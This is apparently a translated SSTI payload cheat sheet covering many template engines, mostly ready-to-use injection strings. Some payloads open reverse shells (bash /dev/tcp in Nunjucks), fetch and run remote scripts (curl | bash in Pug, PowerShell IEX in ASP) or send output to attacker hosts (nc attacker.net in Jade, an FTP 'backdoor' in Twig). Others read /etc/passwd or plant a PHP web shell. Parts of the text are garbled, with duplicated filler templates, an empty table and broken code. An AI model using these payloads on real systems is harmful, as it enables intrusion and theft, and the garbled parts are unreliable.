<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) 是西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点聚会。
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
##
|
||
|
||
### Smarty (PHP)
|
||
```php
|
||
{$smarty.version}
|
||
{php}echo `id`;{/php} //deprecated in smarty v3
|
||
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
|
||
{system('ls')} // compatible v3
|
||
{system('cat index.php')} // compatible v3
|
||
```
|
||
**更多信息**
|
||
|
||
* 在[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)的Smarty部分
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||
|
||
### Twig (PHP)
|
||
|
||
* `{{7*7}} = 49`
|
||
* `${7*7} = ${7*7}`
|
||
* `{{7*'7'}} = 49`
|
||
* `{{1/0}} = Error`
|
||
* `{{foobar}} Nothing`
|
||
```python
|
||
#Get Info
|
||
{{_self}} #(Ref. to current application)
|
||
{{_self.env}}
|
||
{{dump(app)}}
|
||
{{app.request.server.all|join(',')}}
|
||
|
||
#File read
|
||
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
|
||
|
||
#Exec code
|
||
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
|
||
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
||
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
|
||
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
|
||
{{['id']|filter('system')}}
|
||
{{['cat\x20/etc/passwd']|filter('system')}}
|
||
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||
```
|
||
**Twig - 模板格式**
|
||
|
||
Twig is a popular template engine used in many web applications, including the Symfony framework. It provides a flexible and secure way to render dynamic content in templates.
|
||
|
||
Twig templates are written in a syntax that is similar to HTML, but with additional features and tags specific to Twig. These features include variables, filters, functions, control structures, and template inheritance.
|
||
|
||
Variables in Twig are enclosed in double curly braces, like `{{ variable }}`. They can hold any type of data, such as strings, numbers, arrays, or objects. Variables can be accessed and manipulated using filters and functions.
|
||
|
||
Filters in Twig are used to modify the output of variables. They are applied using the pipe character (`|`) followed by the filter name and any additional arguments. For example, `{{ variable | filter(argument) }}`.
|
||
|
||
Functions in Twig are similar to filters, but they are used to perform more complex operations. They are called using the function name followed by parentheses and any arguments. For example, `{{ function(argument) }}`.
|
||
|
||
Control structures in Twig allow you to perform conditional and iterative operations. These include `if` statements, `for` loops, and `foreach` loops. They are written using special tags, such as `{% if condition %}...{% endif %}`.
|
||
|
||
Template inheritance in Twig allows you to create a base template that can be extended by other templates. This is useful for reusing common elements across multiple pages. The base template defines blocks that can be overridden in the child templates.
|
||
|
||
Overall, Twig provides a powerful and secure way to create dynamic templates in web applications. However, it is important to be aware of the potential security risks associated with server-side template injection (SSTI) vulnerabilities, which can allow an attacker to execute arbitrary code on the server.
|
||
```php
|
||
$output = $twig > render (
|
||
'Dear' . $_GET['custom_greeting'],
|
||
array("first_name" => $user.first_name)
|
||
);
|
||
|
||
$output = $twig > render (
|
||
"Dear {first_name}",
|
||
array("first_name" => $user.first_name)
|
||
);
|
||
```
|
||
**更多信息**
|
||
|
||
* 在[Twig和Twig(沙盒)](https://portswigger.net/research/server-side-template-injection)部分
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||
|
||
### Plates(PHP)
|
||
|
||
Plates受到Twig的启发,但是是一个原生的PHP模板引擎,而不是编译模板引擎。
|
||
|
||
控制器:
|
||
```php
|
||
// Create new Plates instance
|
||
$templates = new League\Plates\Engine('/path/to/templates');
|
||
|
||
// Render a template
|
||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||
```
|
||
页面模板:
|
||
|
||
```html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<head>
|
||
<title>My Website</title>
|
||
</head>
|
||
<body>
|
||
<h1>Welcome to My Website</h1>
|
||
<p>This is a sample page template.</p>
|
||
<p>Feel free to customize it as per your needs.</p>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
The above code represents a basic page template for a website. It includes the HTML structure with a title, heading, and paragraphs. You can modify this template according to your requirements.
|
||
```php
|
||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||
|
||
<h1>User Profile</h1>
|
||
<p>Hello, <?=$this->e($name)?></p>
|
||
```
|
||
布局模板:
|
||
|
||
```html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<head>
|
||
<title>Page Title</title>
|
||
</head>
|
||
<body>
|
||
<h1>Welcome to my website!</h1>
|
||
<div>
|
||
<!-- Content goes here -->
|
||
</div>
|
||
<footer>
|
||
<p>© 2022 My Website. All rights reserved.</p>
|
||
</footer>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
模板布局:
|
||
|
||
```html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<head>
|
||
<title>页面标题</title>
|
||
</head>
|
||
<body>
|
||
<h1>欢迎访问我的网站!</h1>
|
||
<div>
|
||
<!-- 内容放在这里 -->
|
||
</div>
|
||
<footer>
|
||
<p>© 2022 我的网站。保留所有权利。</p>
|
||
</footer>
|
||
</body>
|
||
</html>
|
||
```
|
||
```html
|
||
<html>
|
||
<head>
|
||
<title><?=$this->e($title)?></title>
|
||
</head>
|
||
<body>
|
||
<?=$this->section('content')?>
|
||
</body>
|
||
</html>
|
||
```
|
||
### PHPlib和HTML\_Template\_PHPLIB(PHP)
|
||
|
||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB)与PHPlib相同,但已移植到Pear。
|
||
|
||
`authors.tpl`
|
||
```html
|
||
<html>
|
||
<head><title>{PAGE_TITLE}</title></head>
|
||
<body>
|
||
<table>
|
||
<caption>Authors</caption>
|
||
<thead>
|
||
<tr><th>Name</th><th>Email</th></tr>
|
||
</thead>
|
||
<tfoot>
|
||
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
|
||
</tfoot>
|
||
<tbody>
|
||
<!-- BEGIN authorline -->
|
||
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
|
||
<!-- END authorline -->
|
||
</tbody>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
```
|
||
# SSTI (Server-Side Template Injection)
|
||
|
||
Server-Side Template Injection (SSTI) is a vulnerability that allows an attacker to inject malicious code into a server-side template, which is then executed by the server. This can lead to remote code execution (RCE) and other serious security issues.
|
||
|
||
## Exploiting SSTI in `authors.php`
|
||
|
||
In the `authors.php` file, there may be a vulnerability that allows for SSTI. This vulnerability can be exploited by injecting malicious code into the server-side template.
|
||
|
||
To exploit this vulnerability, follow these steps:
|
||
|
||
1. Identify the injection point: Look for user-controlled input that is directly used in the template engine. This can include variables, function calls, or other template constructs.
|
||
|
||
2. Craft the payload: Create a payload that will execute arbitrary code on the server. This can be done by injecting code that will be executed by the template engine.
|
||
|
||
3. Test the payload: Inject the payload into the vulnerable input and observe the server's response. If the payload is executed and the server's response includes the expected output, then the vulnerability has been successfully exploited.
|
||
|
||
4. Exploit the vulnerability: Once the vulnerability has been confirmed, the attacker can proceed to exploit it further. This can include executing arbitrary commands, accessing sensitive information, or even gaining remote access to the server.
|
||
|
||
## Prevention and Mitigation
|
||
|
||
To prevent SSTI vulnerabilities, it is important to follow secure coding practices:
|
||
|
||
- Input validation and sanitization: Always validate and sanitize user input before using it in a template engine. This can help prevent malicious code from being injected.
|
||
|
||
- Use a secure template engine: Choose a template engine that has built-in security features, such as automatic escaping of user input. This can help mitigate the impact of SSTI vulnerabilities.
|
||
|
||
- Keep software up to date: Regularly update the software and libraries used in your application to ensure that any known vulnerabilities are patched.
|
||
|
||
- Implement strict access controls: Limit the privileges of the server-side template engine to minimize the potential impact of an SSTI vulnerability.
|
||
|
||
By following these best practices, you can reduce the risk of SSTI vulnerabilities and protect your application from potential attacks.
|
||
```php
|
||
<?php
|
||
//we want to display this author list
|
||
$authors = array(
|
||
'Christian Weiske' => 'cweiske@php.net',
|
||
'Bjoern Schotte' => 'schotte@mayflower.de'
|
||
);
|
||
|
||
require_once 'HTML/Template/PHPLIB.php';
|
||
//create template object
|
||
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
|
||
//load file
|
||
$t->setFile('authors', 'authors.tpl');
|
||
//set block
|
||
$t->setBlock('authors', 'authorline', 'authorline_ref');
|
||
|
||
//set some variables
|
||
$t->setVar('NUM_AUTHORS', count($authors));
|
||
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
|
||
|
||
//display the authors
|
||
foreach ($authors as $name => $email) {
|
||
$t->setVar('AUTHOR_NAME', $name);
|
||
$t->setVar('AUTHOR_EMAIL', $email);
|
||
$t->parse('authorline_ref', 'authorline', true);
|
||
}
|
||
|
||
//finish and echo
|
||
echo $t->finish($t->parse('OUT', 'authors'));
|
||
?>
|
||
```
|
||
### Jade(NodeJS)
|
||
|
||
Jade是一个基于NodeJS的模板引擎,用于生成HTML。它使用简洁的语法和缩进来创建模板,然后将其编译为HTML。Jade模板可以包含动态内容和表达式,使其具有强大的灵活性。
|
||
|
||
#### 检测SSTI漏洞
|
||
|
||
要检测Jade模板中的SSTI漏洞,可以尝试在模板中插入恶意代码,并查看是否能够执行。以下是一些常见的注入点:
|
||
|
||
- 属性值:尝试在属性值中插入恶意代码,例如`<img src="x" onerror="alert('XSS')">`。
|
||
- 文本内容:尝试在文本内容中插入恶意代码,例如`<script>alert('XSS')</script>`。
|
||
- 表达式:尝试在表达式中插入恶意代码,例如`#{7*7}`。
|
||
|
||
#### 防御措施
|
||
|
||
要防止SSTI漏洞,可以采取以下措施:
|
||
|
||
- 输入验证和过滤:对用户输入进行验证和过滤,确保只接受预期的输入。
|
||
- 模板沙盒化:将模板引擎配置为运行在沙盒环境中,限制其访问敏感资源。
|
||
- 模板白名单:限制可用的模板标签和函数,只允许使用安全的选项。
|
||
- 输入编码:对用户输入进行适当的编码,以防止注入攻击。
|
||
|
||
#### 漏洞利用
|
||
|
||
如果成功利用了SSTI漏洞,攻击者可以执行任意代码,包括读取敏感数据、执行系统命令等。因此,及时修复和防止SSTI漏洞非常重要。
|
||
```javascript
|
||
- var x = root.process
|
||
- x = x.mainModule.require
|
||
- x = x('child_process')
|
||
= x.exec('id | nc attacker.net 80')
|
||
```
|
||
|
||
```javascript
|
||
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
|
||
```
|
||
**更多信息**
|
||
|
||
* 在Jade部分的[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||
|
||
### patTemplate (PHP)
|
||
|
||
> [patTemplate](https://github.com/wernerwa/pat-template) 是一个非编译的PHP模板引擎,使用XML标签将文档分成不同的部分。
|
||
```xml
|
||
<patTemplate:tmpl name="page">
|
||
This is the main page.
|
||
<patTemplate:tmpl name="foo">
|
||
It contains another template.
|
||
</patTemplate:tmpl>
|
||
<patTemplate:tmpl name="hello">
|
||
Hello {NAME}.<br/>
|
||
</patTemplate:tmpl>
|
||
</patTemplate:tmpl>
|
||
```
|
||
### Handlebars (NodeJS)
|
||
|
||
路径遍历(更多信息[在这里](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/))。
|
||
```bash
|
||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||
```
|
||
* \= 错误
|
||
* ${7\*7} = ${7\*7}
|
||
* 无
|
||
```java
|
||
{{#with "s" as |string|}}
|
||
{{#with "e"}}
|
||
{{#with split as |conslist|}}
|
||
{{this.pop}}
|
||
{{this.push (lookup string.sub "constructor")}}
|
||
{{this.pop}}
|
||
{{#with string.split as |codelist|}}
|
||
{{this.pop}}
|
||
{{this.push "return require('child_process').exec('whoami');"}}
|
||
{{this.pop}}
|
||
{{#each conslist}}
|
||
{{#with (string.sub.apply 0 codelist)}}
|
||
{{this}}
|
||
{{/with}}
|
||
{{/each}}
|
||
{{/with}}
|
||
{{/with}}
|
||
{{/with}}
|
||
{{/with}}
|
||
|
||
URLencoded:
|
||
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
|
||
```
|
||
**更多信息**
|
||
|
||
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
|
||
|
||
### JsRender(NodeJS)
|
||
|
||
| **模板** | **描述** |
|
||
| -------- | ---------------------------------------- |
|
||
| | 评估和渲染输出 |
|
||
| | 评估和渲染HTML编码的输出 |
|
||
| | 注释 |
|
||
| 和 | 允许代码(默认禁用) |
|
||
|
||
* \= 49
|
||
|
||
**客户端**
|
||
```python
|
||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||
```
|
||
**服务器端**
|
||
```bash
|
||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||
```
|
||
**更多信息**
|
||
|
||
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
|
||
|
||
### PugJs (NodeJS)
|
||
|
||
* `#{7*7} = 49`
|
||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||
|
||
**服务器端渲染示例**
|
||
```javascript
|
||
var pugjs = require('pug');
|
||
home = pugjs.render(injected_page)
|
||
```
|
||
**更多信息**
|
||
|
||
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
|
||
|
||
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
|
||
|
||
* \{{7\*7\}} = 49
|
||
* \{{foo\}} = 没有输出
|
||
* \#{7\*7} = #{7\*7}
|
||
* \{{console.log(1)\}} = 错误
|
||
```javascript
|
||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
|
||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
|
||
```
|
||
**更多信息**
|
||
|
||
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
||
|
||
### ERB(Ruby)
|
||
|
||
* `{{7*7}} = {{7*7}}`
|
||
* `${7*7} = ${7*7}`
|
||
* `<%= 7*7 %> = 49`
|
||
* `<%= foobar %> = Error`
|
||
```python
|
||
<%= system("whoami") %> #Execute code
|
||
<%= Dir.entries('/') %> #List folder
|
||
<%= File.open('/etc/passwd').read %> #Read file
|
||
|
||
<%= system('cat /etc/passwd') %>
|
||
<%= `ls /` %>
|
||
<%= IO.popen('ls /').readlines() %>
|
||
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
|
||
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
|
||
```
|
||
**更多信息**
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||
|
||
### Slim (Ruby)
|
||
|
||
* `{ 7 * 7 }`
|
||
```
|
||
{ %x|env| }
|
||
```
|
||
**更多信息**
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||
|
||
### Python
|
||
|
||
查看以下页面以了解有关在Python中绕过沙箱的**任意命令执行技巧**:
|
||
|
||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||
{% endcontent-ref %}
|
||
|
||
### Tornado (Python)
|
||
|
||
* `{{7*7}} = 49`
|
||
* `${7*7} = ${7*7}`
|
||
* `{{foobar}} = Error`
|
||
* `{{7*'7'}} = 7777777`
|
||
```python
|
||
{% raw %}
|
||
{% import foobar %} = Error
|
||
{% import os %}
|
||
|
||
{% import os %}
|
||
{% endraw %}
|
||
|
||
|
||
|
||
|
||
{{os.system('whoami')}}
|
||
{{os.system('whoami')}}
|
||
```
|
||
**更多信息**
|
||
|
||
### Jinja2(Python)
|
||
|
||
[官方网站](http://jinja.pocoo.org)
|
||
|
||
> Jinja2是一个功能齐全的Python模板引擎。它具有完全的Unicode支持,可选的集成沙箱执行环境,被广泛使用并且使用BSD许可证。
|
||
|
||
* `{{7*7}} = 错误`
|
||
* `${7*7} = ${7*7}`
|
||
* `{{foobar}} 无结果`
|
||
* `{{4*4}}[[5*5]]`
|
||
* `{{7*'7'}} = 7777777`
|
||
* `{{config}}`
|
||
* `{{config.items()}}`
|
||
* `{{settings.SECRET_KEY}}`
|
||
* `{{settings}}`
|
||
* `<div data-gb-custom-block data-tag="debug"></div>`
|
||
```python
|
||
{% raw %}
|
||
{% debug %}
|
||
{% endraw %}
|
||
|
||
|
||
|
||
{{settings.SECRET_KEY}}
|
||
{{4*4}}[[5*5]]
|
||
{{7*'7'}} would result in 7777777
|
||
```
|
||
**Jinja2 - 模板格式**
|
||
|
||
Jinja2是一种流行的Python模板引擎,常用于Web应用程序中的服务器端模板渲染。它具有简洁的语法和强大的功能,使开发人员能够轻松地生成动态内容。
|
||
|
||
Jinja2模板使用双大括号`{{ }}`来表示变量,并使用`{% %}`来表示控制流语句,如条件语句和循环语句。以下是一些常见的Jinja2模板语法示例:
|
||
|
||
- 变量插值:`{{ variable }}`
|
||
- 控制流语句:`{% if condition %} ... {% endif %}`
|
||
- 循环语句:`{% for item in list %} ... {% endfor %}`
|
||
- 过滤器:`{{ variable | filter }}`
|
||
|
||
Jinja2模板还支持嵌套和继承,使开发人员能够构建复杂的模板结构。
|
||
|
||
**服务器端模板注入(SSTI)**
|
||
|
||
服务器端模板注入(SSTI)是一种安全漏洞,允许攻击者在服务器端模板中执行恶意代码。攻击者可以通过注入恶意模板代码来执行任意命令、访问敏感数据或完全控制服务器。
|
||
|
||
SSTI漏洞通常发生在未正确过滤或验证用户输入的情况下。攻击者可以通过在用户输入中注入Jinja2模板代码来利用这种漏洞。
|
||
|
||
**利用SSTI漏洞**
|
||
|
||
要利用SSTI漏洞,攻击者需要找到一个接受用户输入并将其作为模板渲染的漏洞点。然后,攻击者可以通过注入恶意的Jinja2模板代码来执行任意命令或访问敏感数据。
|
||
|
||
以下是一些常见的SSTI漏洞利用技巧:
|
||
|
||
- 执行命令:通过注入`{{ ''.__class__.__mro__[1].__subclasses__()[<index>].__init__.__globals__['os'].<command> }}`来执行系统命令。
|
||
- 访问敏感数据:通过注入`{{ config.items() }}`来访问应用程序的配置信息。
|
||
- 控制流语句绕过:通过注入`{{ ''.__class__.__mro__[1].__subclasses__()[<index>].__init__.__globals__['__builtins__']['<function>'](<arguments>) }}`来绕过控制流语句的限制。
|
||
|
||
**防御SSTI漏洞**
|
||
|
||
要防御SSTI漏洞,开发人员应该始终对用户输入进行严格的过滤和验证。以下是一些防御措施:
|
||
|
||
- 使用白名单过滤:只允许特定的安全模板标签和过滤器。
|
||
- 输入验证:对用户输入进行验证,确保其符合预期的格式和类型。
|
||
- 模板沙箱:将模板渲染限制在安全的沙箱环境中,以防止恶意代码执行。
|
||
|
||
通过采取这些防御措施,可以有效减少SSTI漏洞的风险,并提高应用程序的安全性。
|
||
```python
|
||
{% raw %}
|
||
{% extends "layout.html" %}
|
||
{% block body %}
|
||
<ul>
|
||
{% for user in users %}
|
||
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
|
||
{% endfor %}
|
||
</ul>
|
||
{% endblock %}
|
||
{% endraw %}
|
||
|
||
|
||
```
|
||
[**不依赖**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__` 的 RCE(远程代码执行):
|
||
```python
|
||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
|
||
|
||
# Or in the shotest versions:
|
||
{{ cycler.__init__.__globals__.os.popen('id').read() }}
|
||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||
```
|
||
**关于如何滥用Jinja的更多细节**:
|
||
|
||
{% content-ref url="jinja2-ssti.md" %}
|
||
[jinja2-ssti.md](jinja2-ssti.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Mako(Python)
|
||
```python
|
||
<%
|
||
import os
|
||
x=os.popen('id').read()
|
||
%>
|
||
${x}
|
||
```
|
||
### Razor (.Net)
|
||
|
||
* `@(2+2) <= 成功`
|
||
* `@() <= 成功`
|
||
* `@("{{code}}") <= 成功`
|
||
* `@ <= 成功`
|
||
* `@{} <= 错误!`
|
||
* `@{ <= 错误!`
|
||
* `@(1+2)`
|
||
* `@( //C#Code )`
|
||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||
|
||
.NET的`System.Diagnostics.Process.Start`方法可用于在服务器上启动任何进程,从而创建一个Webshell。您可以在[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)中找到一个易受攻击的Web应用程序示例。
|
||
|
||
**更多信息**
|
||
|
||
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
|
||
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
|
||
|
||
### ASP
|
||
|
||
* `<%= 7*7 %>` = 49
|
||
* `<%= "foo" %>` = foo
|
||
* `<%= foo %>` = 无
|
||
* `<%= response.write(date()) %>` = \<Date>
|
||
```bash
|
||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||
```
|
||
**更多信息**
|
||
|
||
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
|
||
|
||
### Mojolicious(Perl)
|
||
|
||
即使是Perl,它也使用类似Ruby中的ERB标签。
|
||
|
||
* `<%= 7*7 %> = 49`
|
||
* `<%= foobar %> = Error`
|
||
```
|
||
<%= perl code %>
|
||
<% perl code %>
|
||
```
|
||
### GO中的SSTI
|
||
|
||
确认后端使用的模板引擎是Go的方法是使用以下有效载荷:
|
||
|
||
* `{{ . }}` = 作为输入传递给模板的数据结构
|
||
* 如果传递的数据是一个包含属性Password的对象,前面的有效载荷将泄露它,但你也可以这样做:`{{ .Password }}`
|
||
* `{{printf "%s" "ssti" }}` = 应该在响应中输出字符串ssti
|
||
* `{{html "ssti"}}`, `{{js "ssti"}}` = 这些是一些其他有效载荷,应该输出字符串"ssti",而不带有尾随的单词"js"或"html"。你可以在[这里](https://golang.org/pkg/text/template)查看引擎中的更多关键字。
|
||
|
||
**XSS利用**
|
||
|
||
如果服务器使用的是text/template包,通过将**有效载荷**作为输入提供,很容易实现XSS。然而,如果使用的是html/template,它会对响应进行HTML编码:`{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||
|
||
然而,Go允许**定义**一个完整的**模板**,然后**稍后调用它**。有效载荷将类似于:\
|
||
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
|
||
|
||
**RCE利用**
|
||
|
||
html/template模块的文档可以在[这里](https://golang.org/pkg/html/template/)找到,text/template模块的文档可以在[这里](https://golang.org/pkg/text/template/)找到,是的,它们确实有很大的差异。例如,在text/template中,你可以使用“call”值**直接调用任何公共函数**,但在html/template中不是这样。
|
||
|
||
如果你想通过SSTI在Go中找到一个RCE,你应该知道,你可以使用`{{ . }}`访问模板中给定的对象,你也可以**调用对象的方法**。因此,假设传递的对象有一个名为System的方法来执行给定的命令,你可以使用以下方式滥用它:`{{ .System "ls" }}`\
|
||
因此,你可能需要**源代码**。类似于这样的潜在源代码将如下所示:
|
||
```go
|
||
func (p Person) Secret (test string) string {
|
||
out, _ := exec.Command(test).CombinedOutput()
|
||
return string(out)
|
||
}
|
||
```
|
||
**更多信息**
|
||
|
||
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
|
||
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||
|
||
### 更多利用
|
||
|
||
查看[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)中的其他利用。您还可以在[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)中找到有趣的标签信息。
|
||
|
||
## BlackHat PDF
|
||
|
||
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
|
||
|
||
## 相关帮助
|
||
|
||
如果您认为有用,请阅读:
|
||
|
||
* [Flask技巧](../../network-services-pentesting/pentesting-web/flask.md)
|
||
* [Python魔术函数](broken-reference/)
|
||
|
||
## 工具
|
||
|
||
{% embed url="https://github.com/epinna/tplmap" %}
|
||
|
||
## 暴力破解检测列表
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||
|
||
## 练习和参考
|
||
|
||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||
